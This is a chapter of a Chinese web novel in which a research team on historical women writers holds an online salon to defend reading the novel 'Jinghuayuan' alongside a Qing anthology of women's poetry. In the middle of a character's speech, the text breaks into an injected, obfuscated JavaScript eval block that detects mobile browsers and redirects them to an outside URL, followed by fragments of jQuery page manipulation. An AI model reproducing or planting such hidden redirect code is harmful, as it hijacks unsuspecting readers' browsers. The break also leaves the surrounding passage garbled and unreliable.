“虚构与现实的双重镜鉴”特别节目一经发布，便以其独特的视角和深刻的思辨引发了新一轮的讨论热潮。节目将《镜花缘》中那份充满浪漫想象的“才女榜”——从“史幽探”、“哀萃芳”到“印巧文”、“卞宝云”、“由秀英”、“林书香”等长长名单——与恽珠编纂的《国朝闺秀正始集》进行并置分析，生动揭示了文学幻想与历史编纂如何以不同的方式，共同参与了对“才女”形象的塑造与规训。
观众反响热烈，许多人留言表示“从未想过可以这样读小说和历史”、“看完对‘传统才女’这个概念有了全新的批判性认识”。然而，节目也引来了“守拙斋主”阵营最猛烈的反扑。他们指责团队“将严肃的历史研究与小说混为一谈”、“消解历史的真实性”、“玩弄后现代文字游戏”。这一次，他们的攻击不再局限于具体史实，而是直指团队的研究方法和历史观。
面对升级的论战，团队在吴教授和韩博士的指导下，决定不再进行口水式的回应，而是将这场方法论之争，转化为一次公开的学术展示。他们策划举办一场小型的线上学术沙龙，主题为“历史书写、文学想象与女性声音：多元史料的价值与方法论反思”。沙龙邀请吴教授、韩博士作为主讲嘉宾，团队四人则作为与谈人，分享他们在研究“才女谱系”和“女性知识体系”过程中，如何处理不同类型史料（正史、总集、笔记、小说、实物、口述）的经验与困惑。
沙龙中，苏清晏阐述了团队的核心立场：“我等非将小说等同信史，乃视其为时代观念与心理之折射。如《镜花缘》之‘榜’，虽系虚构，然其将才女‘名录化’、‘等第化’之冲动，恰可映照现实中对女性才华进行系统性承认与排序之社会渴望与焦虑。此渴望与焦虑，与《正始集》之编纂动机，实有相通之社会心理基础。辨析此‘虚实交织’，非为混淆，恰为更深入理解历史认知之复杂构成。”
程砚则从传播学角度补充：“我们的工作，某种程度上是在进行一种‘公共史学’的实践。我们不仅要面对专业同行，更要面对广大普通观众。因此，我们需要运用包括文学文本在内的多种媒介和叙事方式，来激发公众对历史问题的兴趣与思考。揭示《镜花缘》与《正始集》的互文关系，正是为了打破公众对‘历史’就是‘板上钉钉的事实罗列’的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292800|198534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
简单认知，引导他们进入历史思维的更深层次——即思考历史是如何被记录、被叙述、被想象的。”
沙龙取得了超出预期的成功，甚至吸引了一些高校历史系、中文系学生的关注和参与。尽管“守拙斋主”等人仍在攻击，但其影响力在更理性、更专业的讨论场域面前，似乎有所减弱。
这次沙龙，标志着“古闺正名录”团队在应对外部争议的策略上，完成了一次重要的升级：从被动反驳、到主动设置议题、再到引导进入更高层次的学术对话。他们开始被一部分人视为连接专业研究与公众兴趣的、富有活力的“跨界”实践者。
然而，苏清晏内心却有一丝隐忧。她想起《红楼梦》第二十九回中，宝玉和黛玉因“求近之心”反生疏远之意的复杂情感纠葛。团队与公众、与学术圈、与反对者之间的关系，是否也存在着类似的微妙张力？过于追求方法的创新和观点的冲击力，是否会与历史研究最根本的“求真”初心产生距离？如何在“跨界”探索中保持学术的严谨与敬畏？
这份隐忧，她尚未与同伴们深谈，但已成为她思考下一步方向时，一个沉静的背景音。